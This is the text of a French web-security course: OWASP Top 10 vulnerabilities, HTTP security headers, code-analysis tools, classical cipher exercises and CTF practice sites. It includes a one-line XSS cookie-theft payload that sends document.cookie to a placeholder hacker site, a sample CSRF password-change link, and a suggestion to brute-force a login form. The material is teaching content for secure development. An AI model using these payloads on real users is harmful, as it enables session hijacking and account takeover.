Cédric BRASSEUR
Mis à jour le 07/07/2025
Securité
Il est important de différencier ces deux aspects sur la sécurité informatique
Cyber Sécurité : Regroupe les virus, attaques et autres exploitations imprévues
Sécurité des applications : Répondre aux besoins en termes de sécurité pour une application donnée (TOP 10 OWASP)
Accompagne dans les choix stratégiques de l'entreprise et en est responsable
Gestion de l'infrastructure physique et logique de l'entreprise et en est responsable
Responsable de la sécurité, de l'intégrité et de la disponibilité des données
Réalise la PSSI qui sera validé par le DSI
Responsable de la formation de ses équipes au développement sécurisé
Comment intégrer la sécurité dans ce processus de développement continu ?
Dans un cycle en V, la sécurité vient s'intégrer généralement entre la phase de coding et celle de tests.
Aujourd'hui, les méthodes agiles sont de plus en plus utilisées… Dans ce contexte, on rajoute dans le cycle une phase de sécurisation composée de plusieurs sprints.
HTTP Request
Demande du client à effectuer une action via le protocole HTTP
HTTP Response
Réponse formatée par le serveur pour retourner l'information voulue au client via HTTP
Representational State Transfer
De manière générale, le Web est composé d'API REST (états et fonctionnalités basées sur des appels d'URL)
Vous allez en développer de nombreuses et voici les différentes méthodes qui existent
GET
HEAD
PUT
DELETE
POST
OPTIONS
Récupération d'un contenu
Comme GET mais pour le header (méta)
Mise à jour de contenu
Ajout de contenu
Suppression de contenu
Retourne les ressources disponibles
Utilisation de la commande curl
curl est une commande simple permettant d'appeler des URL en REST, cette commande vous permettra de communiquer avec l'API REST proposée par couchdb et donc travailler sur votre base de données.
curl http://localhost:5984/
Conseillé sous Unix
Utilisation de Postman
Postman est un outil de requêtage REST très pratique.
Conseillé sous Windows
Il permet de faire tout type de requêtes, en ajoutant par exemple des headers particuliers. Si besoin, je peux vous montrer quelques exemples mais ça n'est pas l'objectif du cours.
SOP (Same Origin Policy)
Autorisé :
Non Autorisé :
Origine :
http://www.exemple.com/test/index.html
http://www.exemple.com/test/toto/page.html
http://www.exemple.com/test/autrePage.html
http://exemple.com/test/page2.html
https://www.exemple.com/...
http://www.exemple.com:8081/...
Permet de définir quelques options supplémentaires souvent nécessaires !
Telles que
Parcourir la doc pour explication (lien CORS)
ANTI XSS / CSRF
ANTI XSS / CSRF
Force le protocole HTTPS !
Se configure au niveau du serveur Apache, en suivant un guide, vous devriez vous en sortir aisément.
Quelles différences entre http et https ?
Filtre tous les scripts, fichiers, ou autres éléments autorisés selon une liste blanche de fichier par un système de hashage
ANTI XSS
HTTPOnlyCookie
Permet d'éviter toute récupération du cookie via autre chose qu'une requête HTTP. On empêche donc un script javascript contenant document.cookie d'être exécuté
Authentification HTTP
Permet de sécuriser un peu une connexion utilisateur via un protocole HTTP en rajoutant du hashage par exemple. Mais ça n'empêche pas qu'il puisse être contournable par un brute force.
Donc mon conseil c'est simplement de forcer HTTPS avec HSTS
ANTI XSS
ISO/IEC 27034
PCI-DSS / PA-DSS
HIPAA
CNIL
RGPD
Autres.. Renseignez-vous !
Utilisation d'une entrée utilisateur non protégée pour modifier le comportement de la requête SQL derrière l'action à effectuer.
Parades :
Leçon sur Snyk (très très bien faite)
- Créez une base de données contenant une table user(name, password)
- Utilisez le code php de CodeAvecVulnerabilites.php
HACKEZ VOTRE APPLICATION !
- Sécurisez votre application en ajoutant des requêtes préparées
Langage utilisé pour récupérer des informations dans un document XML. Comme pour les injections SQL, le but est d'utiliser les caractères spéciaux pour fausser le résultat.
Parades :
Utilisation de la méthode Entity afin d'ajouter une référence à un appel de fichier externe depuis le DOCTYPE du fichier. Permet par exemple de récupérer des informations non négligeables sur le serveur directement.
Parades :
- Désactiver les entity externes
Utilisation du même principe que les injections SQL et XPath, mais sur du contenu LDAP (Ex:Active Directory)
Parades :
Utilisation d'une faiblesse dans le code pour y injecter des données. Les fonctions eval() et include() sont souvent en cause.
Parades :
S'assurer que les sessions et authentification sont accessibles qu'aux ayants droits afin d'éviter toute usurpation.
Parades :
Voir exemple de chiffrement mot de passe avec password_hash.php
S'assurer que les sessions et authentification sont accessibles qu'aux ayants droits afin d'éviter toute usurpation.
Id de sessions
Timeout de sessions
S'assurer que les sessions et authentification sont accessibles qu'aux ayants droits afin d'éviter toute usurpation.
Tous les flux sont interceptés (incluant donc les logins, les transactions bancaires etc...).
Il est tout de même nécessaire de passer par une phase de décryptage pour ce MITM.
Plus d'info ici
Suivez ce tutoriel afin de réaliser une mise en place un hashage de mot de passe efficace. Pensez à ajouter les vérifications sur le mot de passe, par exemple, ajoutez les points suivants :
https://www.geeksforgeeks.org/php-crypt-password_hash-functions/
Ceux qui finissent plus tôt peuvent se tenter à écrire un petit script pour bruteforcer un formulaire (qui n'a pas de captcha et avec un mdp simple). En partant d'un fichier contenant des mots de passes à essayer par exemple.
Si nous en sommes arrivé là dès la première journée, nous avançons bien, alors je vous propose une pause sur des workshop hacking.
Voir partie workshop en allant trois fois vers la droite à avec la flèche en bas de l'écran (puis aller vers le bas évidemment...)
Aller sur la partie "Workshop" plus loin
Création d'un hook JavaScript via une entrée utilisateur mal protégée pour y insérer du contenu JS. Exemples : vols de cookies & keyloggers
Parades :
Utilisation d'une entrée utilisateur non protégée pour exécuter du code JavaScript. Exemple : phishing avec une redirection depuis un lien qui semble sécurisé à premier abord (serveur intermédiaire nécessaire)
Parades :
Un petit schéma pour mieux comprendre
https://www.hacksplaining.com/exercises/xss-reflected
Utilisateur
Navigateur
Hacker
1. Hacker envoie un lien contenant un code javascript.
2. L'utilisateur clique sur le lien qui récupère les cookies
window.location="http://www.hackersite.com?cookie="+document.cookie
3. Hacker récupère les appels à son hackersite avec le cookie de l'utilisateur
Utilisation d'une entrée utilisateur non protégée pour modifier le DOM d'une page HTML. Appliqué pour modifier une page ou ajouter des comportements incohérents.
Parades :
Découle d'une mauvaise gestion des droits et accès dans votre application. Toujours avoir des rôles et paramétrer les droits.
Exemple: En 2015 on pouvait supprimer des vidéos youtube par leur identifiant, même si la vidéo ne nous appartenait pas.
Parades :
Inclus également les entrées cachées non contrôlées.
Exemple : <input id="cost" name="cost" type="hidden" value="15">
Parades :
BURP SUITE explications / démo
La démo se fera en deux parties, une première pour montrer le brute force, une seconde pour montrer comment exploiter les headers d'une requête http (host header attack + user agent spoofing)
Mauvaise configuration de sécurité, comme son nom l'indique, il reprend toutes les mauvaises configurations de sécurité sur un projet et son infrastructure.
Parades :
Protéger les données sensibles avec des méthodes de chiffrage efficaces (à ne pas confondre avec l'encodage qui est plus simple à reverse)
Parades :
Ensemble des risques liés à des vulnérabilités dans la gestion des droits d'une application. Exemple : DDoS, ou accès à des fonctionnalités non autorisées
Parades :
User agent spoofing
Ce sont des attaques qui visent à modifier la requête HTTP ou ajouter un proxy pour en récupérer les informations.
Parades :
Exemple postman
Simple HHA_UAS
Souvent associé aux réseaux sociaux où l'on incite à partager des liens qui auront une preview. Le but étant d'utiliser le réseau social pour effectuer des appels à des url (fingerprint, scan de ports)
Server victime
Réseau social
Hacker
2. Le site effectue une preview appelant l'url (outbound)
1. Hacker envoie des liens sur un réseau social
GET HTTP exemple.com:21 NO
GET HTTP exemple.com:22 NO
GET HTTP exemple.com:80 OK
GET HTTP exemple.com:467 OK
Response : NO (400)
Response : NO (400)
Response : OK (200)
Response : OK (200)
3. Le serveur victime répond par statut HTTP
Manipulation de requête HTTP pour forcer la modification d'un mot de passe ou l'achat via un lien pirate. Souvent effectué via un formulaire scripté en JS.
Parades :
Le CSRF peut être un simple lien envoyé afin qu'un utilisateur clique sur ce lien et réalise des opérations à son "insu".
Bien qu'assez connue de nos jours, cette faille fonctionne avec bon nombre de personne encore aujourd'hui.
Server victime
Hacker
3. Le site a en réalité appelé une api permettant de modifier l'url utilisant les cookies de l'utilisateur
1. Hacker envoie un email contenant un lien
Veuillez cliquer ici pour avoir un tacos triple viande gratuit : http://tacos-trois-viandes.com/change_password.js
GET
Hacked
http://tacos-trois-viandes.com/change_password.js
http://pirateLink.com/change_pwd?pwd=toto
Utilisateur
2. L'utilisateur clique sur le lien
Ici, on parle vraiment de failles dans le code et de l'aspect sécurité dans son ensemble. L'idée est de s'aider d'outils pour s'assurer d'un bon niveau de sécurité pour son application.
Parades Outils :
Nous en reparlons plus en détails dans la partie suivante !
Utilisation d'une faiblesse dans le code afin de rediriger vers des pages tout en gardant le nom de domaine de base du site. Il est alors possible de rediriger vers des formulaires ayant pour but de voler des informations.
Parades :
Mauvaise architecture ou insuffisance de couverture de tests pour assurer un service intègre des données.
Parades :
BDD
MySQL
3306
api
Node
3000
front
Vue
5000
Token API
Oublié lors de la formation...
Module d'une application web, serveur ou machine virtuelle, un WAF permet de protéger contre les attaques HTTP malveillantes.
L'intégration continue a pour objectif de faciliter la tâche aux développeurs pour gérer leur code source et réaliser les tâches tout en rajoutant une couche de sureté avec différents tests automatisés lors des merge (ou commit d'ailleurs).
Pour notre CI, on ajoute des étapes supplémentaires à notre merge :
Des modifications ont été apportées en 2021 pour faire évoluer ce top 10 car la sécurité est en constante évolution
Modifications apportées entre le top 10 OWASP 2017 => 2021
Exercice top 10 OWASP
Je vais vous envoyer 5 morceaux de code dans lesquels vous allez devoir détecter la faille, l'expliquer en commentaire dans le code, expliquer comment l'exploiter, puis la corriger !
N'hésitez pas à poser des questions.
Mettez cet exercice de côté svp pour me l'envoyer à la fin.
Rendez-vous sur
Votre objectif est de suivre les différents tutoriels interactifs du site (owasp).
N'hésitez pas à prendre le temps de lire les conseils de protection à la fin de chaque tuto. Et vous perdre sur le site si vous avez terminé l'owasp.
Rendez-vous sur
https://www.root-me.org/fr/Documentation/Web/
Parcourez les cours, certains sont déjà vus mais les exemples de codes sont très complets sur ces documents.
Ensuite, rendez-vous sur la partie challenge Web-Client du site https://www.root-me.org/fr/Challenges/Web-Client/
Faites en le plus possible, pensez à trier par difficulté ! Commencez par ceux en javascript.
Vous pouvez aussi tenter les Web-Serveur Challenges.
Static Application Security Testing : Analyse statique du code
Dynamic Application Security Testing : Analyse dynamique de l'application
Interactive Application Security Testing : Analyse interactive de l'application, ici on va également tester de manière interactive les frameworks et dépendances utilisées en continue sur notre application
S'effectue via :
Remonte les vulnérabilités :
Permet de :
Transforme le code de votre application en arbre syntaxique pour en définir les interactions et y déceler de potentielles vulnérabilités.
Un arbre syntaxique se représente sous forme de nœuds liés les un aux autres. Permet par exemple de vérifier que les entrées utilisateurs sont bien purgées par une méthode d'assainissement.
Attention :
Contrairement à l'analyse statique qui ne va analyser que les sources, l'analyse dynamique va tenter de profiter de failles plus poussées et liées également à la configuration de votre infrastructure sécurisée (tests de pénétration automatisés). Sera plus enclin à détecter des failles de types Cross-Site Scripting & les problèmes de gestion autour de l'authentification.
Attention :
C'est là où on fait appel à des experts pour tester notre application de bout en bout !
Plusieurs types :
Souvent très cher !
- Téléchargez https://www.sonarqube.org/downloads/
(Ou utilisez docker)
- Suivez la documentation https://docs.sonarqube.org/latest/setup/get-started-2-minutes/
- Scannez cette application (manuellement, sinon il faut des prérequis particuliers), clonez le repo ou récupérez le zip sur https://github.com/formation-cbrasseur/securiteWEB
- Analysez les résultats dans SonarQube et tentez de comprendre où sont les vulnérabilités et rendez-vous dans le code de DVWA et / ou bWAPP pour trouver ou voir les solutions avec les "security_level=2".
TODO
TODO
TODO
TODO
Principe visant à étudier les problèmes liés à la sécurité des informations (confidentialité et authentification)
Objectifs
Il existe différents types d'algorithmes de chiffrages, nous allons en lister quelques un et réaliser un exemple d'algorithme de César.
Les différents algorithmes
La même clé est utilisée pour chiffrer et déchiffrer, ce qui implique qu'elle doit rester confidentielle.
Une clé publique pour chiffrer, une clé privée pour déchiffrer.
Réalisez un script dans le langage de votre choix qui transforme une chaîne en une chaine chiffrée grâce à l'algorithme de César.
L'algorithme de César :
Exemple : "BONSOIR" ==> "ERQVR LU"
& Réalisez le script de décryptage d'une chaine chiffré par l'algo de César (Exemple : "ERQVRLU" => "BONSOIR")
Mettez cet exercice de côté svp pour me l'envoyer à la fin.
Cet algorithme nécessite d'introduire la notion de clé. Cette clé est nécessaire pour pouvoir chiffrer ou déchiffrer le message selon une table de correspondance. Pour pouvoir chiffrer notre texte, à chaque caractère nous utilisons une lettre de la clé pour effectuer la substitution.
Réalisez un script en php qui transforme une chaîne en une chaine chiffrée grâce à l'algorithme de Vigenère.
Rendez-vous ici pour plus d'informations sur l'algorithme
https://www.root-me.org/fr/Documentation/Cryptologie/Vigenere
Réalisez un chiffrage de la chaîne "BONSOIR", avec la clé "TOTO" par exemple. Le résultat devrait donner "UCGGHWK"
Mettez cet exercice de côté svp pour me l'envoyer à la fin.
Optionnel : Pour ceux qui terminent César et Vigénère plus tôt, vous pouvez aller vous renseigner sur les algo DES et TripleDES ici :
Mettez cet exercice de côté svp pour me l'envoyer à la fin.
Cryptage
Décryptage
Rendez-vous sur https://www.hackthissite.org/missions/basic/
Vous allez être contraint de créer un compte…
Votre but est d'aller le plus loin possible dans les 11 challenges basics disponibles. (Sauf le challenge 6 à garder pour la fin, après la partie cryptographie)
Pour ceux qui finissent vite, n'hésitez pas à fouiner sur les autres challenges du site.
Je vous laisse un peu plus de 1 heure !
Rendez-vous sur https://www.hackthissite.org/missions/javascript/
Votre but est d'aller le plus loin possible dans les 7 challenges JavaScripts disponibles.
Pour ceux qui finissent vite, n'hésitez pas à fouiner sur les autres challenges du site.
Je vous laisse 30 à 45 min.
Rendez-vous sur
https://www.root-me.org/en/Challenges/Web-Client/
https://www.root-me.org/en/Challenges/Programming/
Ce sont des tutoriels interactifs démarrant du plus simple vers plus compliqué, même avec la version gratuite il y a de quoi se perdre des heures sur le site tout en apprenant le hacking éthique.
N'hésitez pas à enchaîner les rooms jusqu'à ce que la difficulté soit trop élevée !
Analysez votre projet Cube dans SonarQube.
Prenez le temps d'analyser les résultats, en priorisant les problèmes de sécurité, puis les autres métriques
(qualité / code smells).
Vous avez 2 heures pour améliorer la qualité et la sécurité de votre projet !
Vérifier les 10 commandements du code sécurisé
Objectifs :
A documenter !
Intégrer les outils indispensables à l'analyse sécurité.
Objectifs :
A documenter !
"Secure by design" : Diminuer les surfaces d'attaque
Objectifs :
A documenter !
Réaliser des diagrammes de modélisation de menaces (ou alors une analyse de risque doit suffire)
Objectifs :
A documenter !
Respect de la vie privée de vos utilisateurs
Objectifs :
A documenter !
Le S-SDLC concerne à la fois les manageurs et les développeurs dans une entreprise. Ce procédé n'est pas encore très répandu dans les entreprises, bien qu'il soit très efficace. Nous allons survoler les différentes étapes de mise en place d'un S-SDLC (méthodes agiles).
les développeurs
A04: Insecure Design
Exigences : phase importante où l'on défini les besoins en sécurité de l'organisation ainsi que l'élaboration du plan d'action et l'analyse de coût de la mise en place d'un S-SDLC
Conception : cartographie de l'architecture autour de l'application pour en modéliser les menaces. On va anticiper pour réduire les menaces potentielles.
Mieux vaut prévenir que guérir ! "
Code : Déterminer les règles de développement à suivre et penser à effectuer une analyse de code statique !
Ces règles devront être respectées par toutes les parties prenantes de votre projet.
Test : S'assure de la sécurité de manière dynamique avec l'utilisation de scans de vulnérabilités (dynamique), tests de fuzzing, ou tests de pénétrations.
Permet l'analyse des écarts entre les principes définis lors de l'étape 2 et la réalité du code applicatif de notre application.
On réalise également un plan de réponse aux incidents (écarts), puis on réalise une revue finale de sécurité.
Envoyer fichier security_theory.docx
Déjà, dézippez les sources et mettez les dans le dossier wamp/www (ou équivalent).
Pour chaque exercice du zip envoyé votre objectif est de :
BON COURAGE !
(après c'est fini)